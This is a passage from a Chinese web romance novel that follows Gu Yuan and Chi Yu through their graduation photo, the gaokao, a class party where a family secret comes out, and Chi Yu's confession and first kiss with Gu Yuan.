“就拍个毕业照而已，不知道还以为你要去表白。”
迟瑜拍脸的动作停了几秒，继而语气平静地说：“曹老师说了，毕业照就这一次，让我们把自己都收拾收拾。”
叶蔓茹笑得漫不经心，悠悠拉长了语调，“哦~，收拾啊，收拾吧。”
迟瑜：阴阳怪气。
-
第二天顾鸢到教室的的时候班里还没几个同学，背了会儿书人才慢慢多了起来。
迟瑜进来的时候，顾鸢正好抬头看向门口的位置。
两人的视线在空中撞了一下，顾鸢愣愣地看着迟瑜。
少年身形落拓，五官英挺深邃，黑发锐眼，黑衣黑裤衬的他干净利落。
迟瑜的视线也紧紧地落在顾鸢身上，女生端坐在座位上，黑发顺着脸颊垂落在身前，精致的脸蛋白皙温软。
后面来的肖毅推了一下迟瑜，“怎么回事，站着不动？”
迟瑜：“没事。”
大步走到座位上坐下，迟瑜偏眸朝顾鸢道：“早。”
顾鸢眨眨眼，回他，“早。”
肖毅噗嗤一声笑了出来，“你们俩可真有意思，跟幼儿园小朋友一样，还要互相问好。”
祁蓉这时也从后门进来，把书包放到桌子上，顺口道：“早上好啊。”
肖毅：“……早上好。”
祁蓉拍了拍顾鸢的肩膀，“我来啦。”
顾鸢转过来，摸了摸她的辫子，羡慕道：“你的手真巧，我要下来吗？”
祁蓉看向肖毅，“你可以先离开一会儿吗？”
肖毅：“我去……”哪儿
话还没说完，迟瑜就从座位上起来，对祁蓉说：“你上来吧。”
祁蓉半跪在椅子上，先分好发缝，把一边的头发用皮筋固定住，然后编另一边的。
顾鸢本来以为她是班里最手残的，没想到还有人跟她一样不会编头发。
悄悄松了口气，顾鸢拿起桌子上的牛奶插上吸管给祁蓉喂了一口，然后
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再打开另一盒自己喝。
徐百川被言酥叫走，回来的时候手里拿着一把棒棒糖，给周围的人分完之后，他说：“言酥让我给你们的。”
肖毅打趣道：“你还舍得回来啊，十八班的上门女婿。”
徐百川伸手去夺他嘴里的棒棒糖，肖毅往旁边躲，牙齿紧紧地咬住糖，“泥油猫饼啊……”
迟瑜起身躲开，走到顾鸢旁边，垂着睫，锐利的眉眼变得温柔起来。
祁蓉编好之后又把辫子弄得松了一些，“这样就没那么死板，也更好看。”
上上下下地打量了一遍，祁蓉满意地点头，“漂亮。”
顾鸢拿起手机看了看，朝祁蓉竖起大拇指，“你真的好厉害啊。”
祁蓉有些不好意思地笑了笑，“没有了，是你长得好看怎么弄都好看。”
顾鸢偏头问迟瑜，“怎么样？”
迟瑜绷着脸，淡淡地嗯了一声。
这算什么回答？
顾鸢又怀疑地拿起镜子看了眼，“很好看啊，嗯是一般的意思吗？”
“不是。”迟瑜捏了捏垂在身侧的手指，又说：“很漂亮。”
好看的是头发，漂亮的是人。
顾鸢满意地扬起笑脸。
曹军平进来的时候也穿着班服，看到班里的同学眼前一亮，“哎呀，我差点就以为走错教室了。”
“曹哥帅啊~”
“帅气啊曹哥，平时怎么就没看出来呢？”
曹军平笑着说道：“没有你们帅。收拾一下，大家下去准备拍照。”
顾鸢和祁蓉拉着手下楼。
“我有点兴奋。”祁蓉附在顾鸢耳边小声说道：“今天才感觉我们班男生还是有很多好看的。”
顾鸢看了眼前面，说道：“确实很帅。”
祁蓉顺着顾鸢的目光看过去，笑道：“你说是其中一个人吧。”
“啊？”
“你在看迟瑜。”
顾鸢气定神闲地说了句，“看看怎么了，又不收……”
话还没说完，迟瑜就转头看了过来，顾鸢硬生生把后一个字憋了回去。
迟瑜：“曹老师在叫了。”
顾鸢：“好的。”
等终于把队形排好，各科老师和校长也坐了下来。
摄影师：“某个男同学，别看你前面的女生，看我。”
“哈哈哈——”
顾鸢回头，迟瑜正好看向她。
顾鸢：……
拍完集体照，同学们都去找各科老师合影，还有班里没怎么说过话的同学也趁着这个时间拍一张照片。
小组拍了一张之后，陈哲明对顾鸢说道：“可以一起拍一张吗？”
顾鸢：“可以啊。”
从陈哲明开始，顾鸢就跟好多人拍了照片，但就是差了最后一个。
顾鸢拿着手机朝树下的迟瑜走过去，“要不我们……”
“浅浅，我要和你拍。”言酥跑过来抱住顾鸢。
“好啊。”顾鸢看了眼迟瑜，和言酥手挽着手站好。
之后又和陈静林雪拍了好几张，顾鸢才终于解放。
迟瑜轻笑一声，语气有些玩味，“顾姐业务繁忙啊。”
顾鸢：“刚才言酥都抱住我了，我当然要拍完啊，你……”
顾鸢话还没有说完，胳膊就被迟瑜抱住，“那你现在和我拍。”
“好啊。”顾鸢看着他的眼睛，缓缓勾唇。
明明和其他人拍的时候顾鸢很放松，可迟瑜一站到她旁边，就觉得哪里不对。
“我说。”迟瑜淡声道：“你姿势别这么僵硬行吗，跟我拍照紧张什么？”
顾鸢舒了口气，抬起眼睫看他，“你不紧张？”
迟瑜：“我有什么好紧张的。”
不远处有一群人在向拍照的两人起哄，“不来个公主抱都对不起你们早恋被发现。”
“就是啊，你难不不成分手了在避嫌。”
“该不会是抱不起来吧。”
“迟瑜？”顾鸢叫了声他。
“啊？”
“卧槽——”
“我靠——”
“我去——”
“我…………”
顾鸢紧紧搂住迟瑜的脖子，心脏似乎还未落到实处，扑通扑通的像是要从嗓子跳出来一样。
迟瑜怎么也没想到顾鸢会突然跳起来抱住他，要不是他反应力迅速，这会儿两人都要摔在草坪里了。
顾鸢的脸颊早已红透，整个脑袋都埋在迟瑜的肩窝里，嗡嗡地说道：“迟瑜，你可要抱紧了，千万别……”
嘭——
就像说什么来什么，顾鸢话还没说完，也不知道迟瑜怎么回事手突然就松了，紧接着两个人都倒了下去。
顾鸢只觉得脸没了。
没脸了。
祁蓉激动地拍着肖毅的肩膀，小声问：“拍到了没有？”
肖毅：“放心，绝对每张都是大片。”
69. 高考
顾鸢不知道她是怎么回的家，总之到家之后人都是飘的。
傍晚的时候刘阿姨过来了，顾鸢帮忙收拾了下客房，就一头扎进笔记里。
临考的前一天晚上，刘阿姨嘱咐顾鸢早点休息，晚饭后她就没看书了，躺在床上边听歌边在班群里跟着闲聊。
言酥给她私发了几条，【考完试咱们去玩呀】后面一连跟着好几张图片。
【这几个地方都不错，尤其是温玉山庄，可以去避暑】
顾鸢认真全部看完，回她，【可以，不过我看这个山庄还挺火的，现在订房间还来得及吗？】
下一秒言酥的电话就打了过来，“绝对来得及，我刚看到还有几间空房，要是你觉得没问题我就在群里发了，看看一共有几个人去。”
“好，我再看一下房间。”
“嗯嗯。”
言酥的消息刚发出去，群里就有人举手了。
徐百川：【加我】
江皓阳：【哥们退出江湖这么久，必须复出啊，我去】
肖毅：【要陪我妈回老家，哭兮兮】
祁蓉：【我要去外婆家，哭～】
陈静：【去不了，哭～】
顾鸢拿起杯子抿了口水，铃声突然响了，一看是迟瑜打的。
拍完毕业照回来他们两个就没有发过消息了，这会儿突然看到名字，顾鸢手里的水杯差点没拿稳。
做了一个深呼吸，顾鸢点了接通。
“你要去？”男生清冽的嗓音从听筒里传出来。
顾鸢指腹摩挲了下，轻轻嗯了一声，又问：“你呢？”
“我啊？”迟瑜躺在床上，手里的南瓜挂饰被他捏来捏去，散漫地说道：“去啊。”
顾鸢：“……曹老师在班群里说别玩手机了。”
扑倒他的时候多猛，现在话都不多说了。
迟瑜微叹了口气，“明天加油。”
“你也是。”
-
高考这两天，墨熠怕中午回家太费时间，所以在考场附近的酒店定了房间让顾鸢和墨谦在酒店午休。
第二天下午考完，顾鸢刚从考场出去，一束超大的向日葵就朝她扑来，顾鸢差点被埋在里面。
墨谦把花抱开，皱着眉对他爸爸说道：“您想埋了她？”
墨熠一怒之下努了一下，“这是店员推荐的，说是一举夺魁的寓意呢，你要是不喜欢就别要，都给小鸢。”
墨谦看着怀里的两束花，沉默了。
“谢谢墨叔叔，花我很喜欢。”顾鸢抬眸，看到迟瑜站在不远处。
“墨叔叔，我先去找同学了，谢谢您这两天的照顾。”
“这就走了，我晚上还订了餐厅给你们庆祝呢。”墨熠还是一如既往地热情。
“不用了墨叔叔，晚上班里有聚会。”顾鸢说着朝着迟瑜那边走过去。
墨谦把两束花塞墨熠手里，“您先回去吧，我也要去找同学。”
墨熠：“欸……”
旁边的家长羡慕地说道：“你们家这两个孩子一看就很优秀。”
墨熠立马来了精神，“那是当然，我跟你说……”
-
顾鸢走到迟瑜面前，他手里拿着一束卡布奇诺玫瑰。
“你……”
“不接？”迟瑜眉梢稍扬，语调轻松，但抱着花的手心出了一层薄汗。
顾鸢拿了过来，指腹轻轻抚上花瓣，笑意从唇边漾起，“谢谢，可是我没有给你准备。”
“那等你有时间了再补给我。”
迟瑜唇边的笑意正浓，有记者走了过来。
“同学你好请问可以采……”访
顾鸢还没反应过来就被迟瑜牵住手腕离开了原地。
也不知道走到了哪里，顾鸢停了下来拉住他的胳膊，“你要去哪儿？”
迟瑜四下看了眼，“这边过去拐个弯应该就到学校了。”
“啊？”顾鸢眨眨眼，不明白他的意思，“去学校做什么？”
迟瑜打开手机给她看，“明天要去温玉山庄，所以你宿舍里的东西今天就得搬出来，不然宿管阿姨都会扔掉。”
“那些书我也没用了，扔掉就扔掉。”顾鸢想了想，“好想是有几件衣服。”
“走吧。”迟瑜顺势要去牵顾鸢的手腕，结果顾鸢双手抱着花，他伸出去的手扑了个空。
“怎么了？”顾鸢看他没动，回头问道。
“没什么。”迟瑜把手插进兜里，神色自然地走在前面。
……
到学校的时候宿管阿姨已经在大扫除了，顾鸢打开门，先把花放在桌子上。
迟瑜看了眼门边的那一摞书，问：“这些都不要？”
“不要。”顾鸢看了一圈，“应该要扔很多东西。”
宿管阿姨敲了敲门，朝里说道：“不要的书帮忙拿到大厅，其他不用的东西留下就行我来收拾。”
“好的阿姨。”顾鸢把书桌上的几本也放到一起，对迟瑜说道：“你先把这些搬出去吧。”
迟瑜笑着点头，“遵命。”
顾鸢：“……好、好的。”
顾鸢把还要的东西都收到行李箱里，剩下不要的收好放到一个地方。
虽然没住多久，但顾鸢还是有一点点不舍。
迟瑜接过行李箱，抬手在她眼前挥了挥，“不走了？”
“走吧。”
关上门，两人出了学校。
刘阿姨下午就回去了，顾鸢从鞋柜里找出一双拖鞋给迟瑜。
把花放在茶几上，顾鸢对迟瑜说：“你先呆一会儿，我去把衣服挂好。”
“你忙，不用管我。”迟瑜自顾自地坐下，手指摆弄了一下花束里的叶子。
收拾完顾鸢坐在床边打开手机，余荔在班群里通知了晚上聚会的地址，祁蓉也给她发了私信，一连串的图片。
【帮我选选哪件好看】
顾鸢：【？】
祁蓉：【相信我，今晚你绝对能看到我们班同学大变样，所以快告诉我，哪件好看】
顾鸢选了一件发给她，【这件呢，你再卷个头发】
祁蓉：【爱你~】
顾鸢低头看了眼自己的穿着，白色短袖蓝色长裤。
顾鸢在衣柜里翻了好一会儿，终于找出了一条满意的裙子，是韩淑怡非要让她带回来的一条茶歇法式长裙。
换好衣服，顾鸢把头发随意散开，看了几秒毅然决定向祁蓉求助。
刚拿起手机祁蓉就给她发了消息，【嘿嘿嘿，需要帮忙吗？】
顾鸢立马回答，【要，我来找你】
祁蓉：【我来找你，正好我也要出门啦，你把你家的地址给我】
顾鸢把祁蓉几分钟前发的表情包发给她，【爱你~】
扣扣扣——
迟瑜敲了敲门，说道：“余荔说晚上八点到，你还没好吗？”
顾鸢起身走到门后，“我还要等祁蓉，要不你先过去。”
迟瑜：“那我等你们一起。”
顾鸢把门稍微拉开一条缝，只露了个脑袋出来，“可是我们不确定要多久，你确定要等吗？”
迟瑜疑惑地打量着她，“你这是？”
“我衣服不小心弄湿了。”
……
“不是，我的意思是我要等祁蓉。”
迟瑜：“……要不我先给拿点吃的？”
顾鸢眨眨眼，“帮我洗一盒草莓，谢谢。”
迟瑜一转身，顾鸢立马松了口气，拿起手机问祁蓉到哪里了。
祁蓉：【原来我们在一个小区啊，我进电梯了】
迟瑜端着草莓从厨房出来，门铃正好响了。
“顾鸢，开门吗？”
“你帮我开一下。”等喊完，顾鸢才意识到什么。
门口，祁蓉低头看了眼手机，又看了眼出现在顾鸢家里的迟瑜。
她她她，是不是知道了什么。
迟瑜侧身让开，然后弯腰打开鞋柜，“顾鸢在房间。”
祁蓉：房间？？？
反应过来的顾鸢赶紧给祁蓉发了条消息，【他正好在我家，你先进来】
祁蓉伸手往里面指了指，“我先进去了。”
走了两步祁蓉又回头从迟瑜手里接过草莓，“这是给顾鸢的吧，正好我拿。”
祁蓉刚进去把门关上，顾鸢就伸出手抵在唇边。迟瑜给她发了消息说有事先走了，顾鸢回了个好。
回完消息，祁蓉笑嘻嘻地看着顾鸢不说话。
顾鸢：“是我回学校拿了东西，然后我们一起回来，然后你就碰到了。”
祁蓉眨眼，“我懂，他还给你送花呢，我都看到了。”
顾鸢：“……那你帮我看看这件衣服可以吗？”
祁蓉仔细看了一圈，“可以，不过我觉得加一条项链更好，还有搭一双漂亮的鞋子，头发我一定帮你弄得超级好看。”
顾鸢打开梳妆台的抽屉，姜女士喜欢送她吃的，舅妈韩淑怡喜欢送她漂亮衣服和首饰。
祁蓉从里面挑了一条帮她带上，“好可惜你没有耳洞，不然这个耳坠戴上肯定超级好看。”
“之前林雪打了说一点儿也不疼。”顾鸢突然也想打一对，“我们改天一起去？”
“好啊。”祁蓉一边弄头发，一边和顾鸢说话，“还有件事我没告诉你，前几天凌熙诺加上了我的Q.Q，说让我帮忙约你，但是我记得你之前都不想和她说话，我就没理会。”
顾鸢想到她拉黑的号码的删不完的短信，眼睫垂下，“没事，我会跟她说清楚。”
“今天晚上好几个班的聚会都在那边，她可能会直接来找你。”祁蓉抿了抿唇，说：“你们不会是因为迟瑜才吵翻的吧？”
“当然不是。”顾鸢想到真正的原因，脸上的笑容带了几分苦涩，“其实我们是、同父异母的姐妹。”
“什、什、什么？”祁蓉瞪大眼睛，“你们是、那你、、”
祁蓉甚至都不知道要怎么组织语言。
顾鸢莞尔，“没事，能解决。”
不就是个凌紫薰，上次报警之后，冯旭的女朋友给了她一些东西，只希望她用不到。
……
聚会的地方订在室外，顾鸢和祁蓉到的时候眼睛都亮了。
祁蓉：“这么漂亮吗班长其实。”
顾鸢：“咱们班女孩子也太好看了。”
祁蓉：“言酥他们班也有好多漂亮的女生。”
顾鸢：“其实大家刚上高一的时候都挺漂亮的。”
祁蓉：“对哦。”
“嘿，你们俩个是十五班的吧，过来坐啊。”肖毅朝两人挥了挥手。
祁蓉凑到顾鸢耳边小声说：“他是不是眼神不好？”
顾鸢回她，“会不会是你太漂亮了他没认出来。”
祁蓉：“……我觉得他就是眼神不好。”
迟瑜就坐在肖毅旁边，等顾鸢过来了，把旁边椅子上的外套拿了起来。
顾鸢走过去坐下。
“没吃东西吧？”迟瑜说完把刚上来的一盘烤串往放到顾鸢面前。
顾鸢侧眸，视线在他脸上打量了一个来回。
怎么这么平静？
不好看吗？
迟瑜放在膝盖上的手指攥紧，喉结滚了滚，“我脸上有东西？”
顾鸢摇了摇头，“没有。”
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>祁蓉也没吃东西，两人凑到一起就是干饭。
低头的时候两侧的头发总是会掉到前面，顾鸢只好用一只手挡着。
迟瑜往后靠在椅背上，手伸到后面虚虚地抓住那边的头发。
顾鸢偏眸看了他一眼，咽下嘴里的烤肉说道：“谢谢。”
迟瑜：“……”
离谱，跟他客气个鬼，
等老师都来了，肖毅去了台上做主持人，“……接下来由鄙人献丑了，大家来点掌声，谢谢。”
肖毅唱的是一首粤语歌，语调婉转悠扬，下面的人都看着台上。
迟瑜侧眸，女生瓷白的侧脸在灯线的变得更加温软，纤长的睫羽轻颤，……
等肖毅唱完，下面掌声如雷，“大歌星，再来一首。”
“先容我喝口水，接下来我们请曹老师来一首，大家鼓掌，……”
曹军平推拖着不肯上去，“不了不了，这个机会给同学们。”
“曹老师，你是不是不敢啊。”
“还是你不行啊曹老师。”
……
肖毅坐下来肩膀碰了下迟瑜，“你收着点，眼珠子都要黏人家身上去了。”
迟瑜拿起桌子上的酒瓶喝了一大口，拉着肖毅从后面出去。
“哎你干嘛，慢点慢点……”
祁蓉：“他俩这是干嘛？”
顾鸢：“不知道。”
“顾鸢。”凌熙诺站在一旁，脸色不是很好看，“可以聊聊吗？”
“好。”顾鸢拿上包跟她走到一处人少的地方，“你想说什么？”
凌熙诺张了张嘴，“我之前给你打电话……”
“很影响我，所以我拉黑了。”顾鸢把脸侧的头发捋到耳后，嗓音淡然，“我们也没什么可说的。”
“为什么？就因为我妈妈和你爸爸在一起了？”凌熙诺嗤笑了声，“可是你爸妈早就离婚了。”
顾鸢认真观察着她脸上的表情，“所以你不知道？”
“知道什么？”凌熙诺皱紧眉毛。
顾鸢盯着她的眼睛，说：“我告诉你了，你别有过激的行为，回家找你妈妈质问的时候也别带上我。”
凌熙诺更加不解，但还是伸出手指做发誓的样子说道：“我不跟任何人说是你告诉我的，现在可以了吗？”
顾鸢缓缓说道：“你比我小了一岁？”
凌熙诺：“其实我的真实年龄比你大一点，我妈妈说要上户口，所以就改小了一岁。”
顾鸢笑了笑，“你跟顾教授是亲父女，不信可以去问你妈妈。”
凌熙诺瞳孔紧缩，“你什么意思？”
“还不明白吗？”顾鸢朝她走进一步，“你是顾教授婚内出轨和你妈妈生下的私生女。”
凌熙诺差点跌倒，顾鸢一把拽住她的手腕，“所以不管出于什么原因，我都不想跟你有过多的交集。”
顾鸢说完转身大步离开。
凌熙诺怔在原地，双眸失神，这个时候很多事情都从脑海里飘了出来。
所以顾鸢会问她说说里的照片是怎么回事，问她爸爸支不支持她学舞蹈。
所以上次见面顾鸢转身就离开，甚至妈妈去看她，她竟然报警。
可笑，亏她还是跑来质问的，她有什么脸质问。
私生女，多讨厌的名字。
凌熙诺跌跌撞撞地离开。
-
顾鸢没有立刻回去，而是先吹了会儿风，直到祁蓉发消息叫她，顾鸢才回神。
做了个深呼吸，顾鸢往那边走。
这边已经喝倒了一大片，曹军平还在被灌酒，迟瑜也趴在桌子上。
突然，不知道是谁站起来喊了一句，“我跟你们说，我天天吃狗粮，天天吃狗粮，我饭都不用吃。”
“呦——，你吃的谁的狗粮啊？”
这话一出，大家的目光不约而同地朝顾鸢和迟瑜看过来。
顾鸢正好拿了杯水，手还搭在迟瑜的肩膀上。
“哎呀不是他们。”
“那是谁？”
“班长和墨谦啊。”
“卧槽——”
“啥玩意，谁？”
“其实我也看到过。”
曹军平震惊，“咱们班不是就顾鸢和迟瑜这一对吗？”
“他们俩连手都没牵过，不算。”
众人又看向刚把头抬起来的迟瑜。
哥们不行啊。
曹军平不可置信地看向她最信任的班长，“你……”
墨谦牵起余荔的手，朝大家说道：“还要感谢大家帮我们掩护。”
曹军平：“这又是什么时候的事？”
“哈哈哈，曹老师你就盯着顾鸢和迟瑜，结果人家玩的纯爱，咱们班长和墨谦可是亲唔唔……”
曹军平觉得他需要醒酒。
顾鸢伸手在迟瑜面前晃了晃，“还清醒吗？”
迟瑜定定地看着她不说话，眼神看着还算清明。
顾鸢把杯子放到他手上，“喝水。”
迟瑜低头看了眼，过了几秒钟才拿起来喝了一口。
顾鸢正要起身，手腕被抓住，迟瑜抓的太紧，顾鸢根本挣不开。
“你先……”
迟瑜忽地身体往前倾，脑袋埋在顾鸢的肩窝里，嗓音又低又哑，“你什么时候负责啊？”
顾鸢：……？
“你喝醉了，我送你回去。”
哪知迟瑜太重顾鸢根本搬不动，抬眼一看，都倒的七七八八，除了旁边清醒的祁蓉眨巴眨巴眼睛看着她。
趴着装醉的大家。
艹……
这是什么惊天大秘密！
牛逼啊！
70. 喝醉
废了很大的劲，顾鸢才把迟瑜扶到出租车上。
“去一中那边。”
“去宜佳苑。”迟瑜的脑袋靠在顾鸢的肩膀上，嗓音低哑，“先送你回去。”
顾鸢正要说话，迟瑜的声音更低了，“我等会儿就好了。”
顾鸢只好作罢，拿起手机回祁蓉的消息。
祁蓉：【你怎么没等我一起回啊？】
顾鸢：【我突然想起来有点事】
祁蓉：【？】
顾鸢：【真的】
过了几分钟，祁蓉又发了一大串消息过来，【我跟你说，男生可会装了，说不定迟瑜根本就没喝醉呢，你可一定要小心，要是他敢对你动手动脚，你就给他一巴掌，要是实在不行你给我打电话，我爸妈都在家，随叫随到。反正就是，你自己注意。】
顾鸢偏头看了眼闭着眼睛安静睡觉的迟瑜，【也不会吧】
祁蓉：【你相信我，真的，这都是我堂哥跟我说的，他说男人都是一个样子，没什么好东西。总之他要是敢占你的便宜，你就动手。】
顾鸢敏锐地抓住了几个关键字眼。
占便宜。
动手。
也不一定是谁占谁的便宜吧。
祁蓉：【看到没有，回个消息】
顾鸢：【看到了，放心，我不会吃亏的】
快到小区门口的时候，迟瑜慢慢坐直，一只手扶着脑袋，眉毛紧紧皱着。
“到了。”司机喊了声。
顾鸢扭头正要跟迟瑜说话，结果他已经打开车门下车了。
顾鸢把车费给司机，拿上包和迟瑜的外套下车。
“你怎么下来了。”顾鸢把外套给迟瑜，“我帮你叫车，你自己可以回去吗？”
迟瑜好像并没有听懂，拿起外套给顾鸢披上，顺势牵着她的手腕往里走。
顾鸢：“……要不我给阿姨打个电话？”
迟瑜停下来，垂眸看着她，“什么意思？”
顾鸢努力辨别他到底是清醒的还是装的，“你醉成这样等会儿怎么回去？”
迟瑜定定地看了顾鸢好一会儿，蓦地笑了声，“对我这么不放心？”
“可你、清醒了？”顾鸢有点拿不准，这样看着也不像是醉了。
“胃里有点难受，给我喝点水就走。”话落迟瑜继续牵着顾鸢往里走。
进了电梯，迟瑜闭上了眼睛，眉眼间也带了几分倦意。
顾鸢侧眸看着他，指尖微动。
到家里之后，顾鸢按着迟瑜坐在沙发上，把外套和包随手放下，说道：“你先坐，我去给你倒水。”
迟瑜低低应了一声，闭着眼睛揉了揉眉骨往后靠。
顾鸢从厨房出来的时候，迟瑜靠在沙发上像是睡着了。
顾鸢在原地站了几秒钟。
她在想是要把人叫醒喝水，还是去拿条毯子给他盖上，还是给江浩阳或者徐百川打个电话把人带回去。
在顾鸢犹豫的时候，迟瑜掀开眼皮，眼神带了几分朦胧，“给我的？”
他指了指顾鸢手里的水。
“对，给你的。”顾鸢把水给他，然后弯腰仔细观察他的表情。
喝完水，迟瑜又眼巴巴地看向顾鸢。
顾鸢：“你是哪里不舒服吗？”
“卫生间在哪儿？”迟瑜扶着沙发背站了起来，人还有些恍惚。
“我带你去。”顾鸢扶住他的胳膊，“在这儿。”
迟瑜站在门口，眼睛一动不动地看向顾鸢。
顾鸢眨眨眼，“怎么了？”
迟瑜不说话。
顾鸢眉心微蹙，忽而脑海里闪过什么，“……我去客厅，你自己注意别摔倒了。”
“嗯。”说完迟瑜就把门关上了。
顾鸢在网上下单了醒酒药，看时间要二十分钟才能到，家里好像也没有可以醒酒的东西，顾鸢找了一圈，最后在冰箱里找到一盒酸奶。
迟瑜出来之后，顾鸢把酸奶打开放到他手上，“把这个喝了。”
迟瑜垂下眼睫，盯着酸奶看了几秒，又抬眸看向顾鸢。
顾鸢耐心向他解释，“喝了胃里就不难受了。”
顾鸢坐在沙发上看着迟瑜，忽然灵机一动，“迟瑜，今天几月几号？”
迟瑜抬起眼帘，淡淡地看了一眼顾鸢，没有说话。
顾鸢指了指茶几上的花，又问迟瑜，“你知道这个玫瑰花的名字叫什么吗？”
迟瑜把喝完的酸奶盒子丢尽垃圾桶里，看着顾鸢的眼睛一字一顿地说道：“顾鸢，我没喝醉。”
“我知道。”顾鸢拿了一个抱枕抱在怀里，“你刚才走路的时候很稳，一点都不晃。喝醉了走路不都是摇摇晃晃的吗？”
迟瑜安静地看着顾鸢，放在身侧的手指紧紧地抓着沙发垫。
“你热吗？”顾鸢看他脸颊上泛起一层薄红，从茶几上拿起遥控器把空调调低了几度。
“顾鸢，我……”喜
叮铃——
门铃响了。
顾鸢放下抱枕起身，“应该是醒酒药，我去取。”
拿了药，顾鸢正要取一片给迟瑜，转念一想他又没喝醉，就把药搁在了茶几上。
“你刚才要说什么？”顾鸢这次往迟瑜旁边坐，结果她一靠近，迟瑜就唰地往旁边退开。
顾鸢：“你躲……”
“我喜欢你。”迟瑜说完，灼热的视线紧紧锁在顾鸢脸上，不放过她一点细微的表情。
顾鸢怔住。
迟瑜盯着顾鸢的眼睛，又重复了一次，“卡布奇洛的花语是不期而遇，美好的爱情，幸运的到来。”
安静的客厅里两人侧坐在沙发上，周围没有一点儿声音，落地窗外的夜景闪烁，天空中飘着的白云也异常的清晰。
顾鸢明明记得自己没有喝酒，可为什么会有微醺的感觉。
良久，迟瑜觉得自己的手心都要湿透了，喉结滚了滚，嗓音低沉，“顾鸢，给个回复。”
“我……”顾鸢正要说话，不知道是谁的手机突然响了起来。
……
终于找到罪魁祸首，原来是徐百川打给迟瑜的。
“言酥答应做我女朋友了，哈哈哈……”
迟瑜啪地挂断，觉得还是不解气直接把他暂时拉黑，手机也调成了静音。
把手机丢到旁边，迟瑜看向顾鸢，“还没说……”
顾鸢没等她说完，猛地凑近快速在迟瑜的侧脸亲了一下然后退开，因为太过猝不及防，那一声格外的响亮。
顾鸢双手攥紧垂下眼睫，只觉得脸颊都要烧起来。她想归想，可是没有行动过，怎么是这样的啊。
大概安静了有几分钟，迟瑜木讷地转身，抓住顾鸢的手腕，瞳色很深，嗓音也哑得厉害，“就亲一下？”
顾鸢的脑袋嗡地响了一声，思绪瞬间短路，胡乱说到：“很晚了。”
“嗯。”迟瑜淡淡地应了声，俯身慢慢靠近，“总得礼尚往来不是吗？也让我亲一下。”
顾鸢往后靠，一个不慎差点摔倒，后脑被按住，一道黑影蓦地压了下来，唇上的触感无比真实。
顾鸢的大脑一片混沌，双手下意识攥紧了迟瑜的衣服。
两个都没有什么经验的人只是简单地贴着唇瓣，虽然没有下一步的动作，可依旧让人心跳快到似乎要从胸膛里跳出来。
如果要形容是什么感觉，大概就是，脑袋有些飘，空气很热，属于对方身上的气息铺天盖地的将自己笼罩，伴着一丝甜腻，却像是要窒息。
……
等分开的时候，顾鸢坐在沙发的一角捧着杯子喝水。迟瑜坐在另一头，垂着睫，指腹按在唇瓣上，眼底含着笑意。
顾鸢的手机突然响了一声，从茶几上拿起来打开一看，是祁蓉给她发的消息，【在干嘛？】
顾鸢：在亲……【在喝水】
祁蓉：【好可惜我要去外婆家不能跟你们一起去玩了，拍了好看的照片一定要给我看呀】
顾鸢：【好的】
祁蓉：【那先我休息啦，你也早点休息，安~】
顾鸢：【安~】
放下手机又不知道说什么，顾鸢点到Q.Q空间，言酥和徐百川先后发了说说官宣，下面全是祝福的人。
再往下翻，还有余荔和墨谦的。
大家纷纷调侃藏得够深。
除此之外还有一些感概高中生活过的太快，还没有好好享受就结束了，都是一些无关痛痒的发言。
等全部看完，顾鸢看了眼时间，已经快十二点了。
“你不困吗？”她转头问迟瑜。
迟瑜闻言抬起脑袋，缓缓摇了摇头，“不困。”
顾鸢：“……快凌晨了。”
在顾鸢的注视下，迟瑜终于反应过来，“我先走了，记得定闹钟，要不我叫你。”
顾鸢脱口而出，“那你叫我。”
“好。”
迟瑜站在门口磨蹭了几分钟才出去，“明天见。”
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“明天见。”
关上门，顾鸢靠在鞋柜上双手拍了拍脸。
洗漱完出来已经过了十二点，顾鸢拿起手机。
迟瑜从出去每隔几分钟就给她发一条消息，最近的一条是两分钟前发的，提醒她拿上长袖，山上夜里可能会冷。
顾鸢回了个好。
下一秒视频电话就打了过来。
顾鸢点了接通，迟瑜似乎也是刚洗漱完出来，脸上还有没擦干的水珠，碎发落在额前，看着有几分乖。
“还要说什么？”顾鸢的眼睛落在他薄红的唇瓣上，下意识添了下唇，似乎那抹温润的触感还在。
迟瑜捏着手机，屏幕里顾鸢穿着白色的荷叶领短袖睡衣，头发披散下来，大概是因为伏着身，衣领有些低。
迟瑜敛眸，喉结滚了滚，回她，“晚安。”
顾鸢抿唇，“晚安。”
过了几秒钟迟瑜没有挂断视频，顾鸢问他，“你怎么不挂？”
迟瑜：“你挂。”
顾鸢只好挂断。
在床上滚了好几圈，顾鸢把蓝色公主裙的娃娃拿起来看了又看，小心放回去之后把头埋在被子里。
怎么、还想亲啊？
啊啊啊啊啊…………
她怎么能这样，羞死了。
-
另一边，迟瑜给徐百川把电话打过去，反应过来他被自己拉黑了，把人放了出来，迟瑜继续打。
“迟瑜？这么晚打电话有事？”
“没什么，就是跟你说一声……”
迟瑜话还没说完徐百川就把电话挂断，等再打过去的时候已经被拉黑了。
迟瑜也不生气，又给江皓阳打。
江皓阳晚上喝的有点多，刚从卫生间吐完出来手机就响了。
“迟哥，咋啦？”
迟瑜：“没什么，就是告诉你我有女朋友了。”
江皓阳反应慢了半拍，“哦哦，好，……，卧槽——，你跟徐百川怎么回事，一个两个是要孤立我吗？太过分了。”
迟瑜笑道：“你不懂。”
江皓阳礼貌求教，“不懂什么？”
迟瑜：“有女朋友的感觉啊。”
江皓阳怒吼了一声，“绝交吧，三个小时。”喊完他就挂了电话。
迟瑜抬起手，指腹摩擦着唇瓣，忽地低头笑了下。
-
早上八点，迟瑜打开手机先是给顾鸢发了消息，然后才起床收拾行李。
顾鸢是被言酥的视频通话叫醒的，迷迷糊糊地接通视频，顾鸢还赖在被子里没动，“还早吧。”
言酥看她还没起，眼睛都瞪大了，“快八点半了，现在起来赶紧收拾过去还能赶得上高铁，不然就要错过车了。”
顾鸢猛地惊醒，“迟瑜不是说了叫我的吗？”
言酥：“……你快起。”
十分钟后，顾鸢刚换好衣服门铃就响了，迟瑜站在门口微笑道：“早。”
顾鸢稍有些不自在，抿了抿唇侧身让开，“你先坐一会儿，我再检查一遍东西就走。”
迟瑜愣了愣，怎么感觉有点冷淡，才得到就不珍惜了吗。
顾鸢庆幸自己昨天晚上睡不着爬起来装好了行李，不然肯定来不及，快速洗完脸，又检查了一遍身份证钱包，顾鸢推着行李箱从房间出来。
“走吧。”
迟瑜试着去牵顾鸢的手，见她没有躲开才松了口气，“江皓阳在下面等我们，徐百川和言酥顺路，他们俩一起过去了。”
进了电梯，迟瑜按好楼层又牵住顾鸢的手。
顾鸢抬眸。
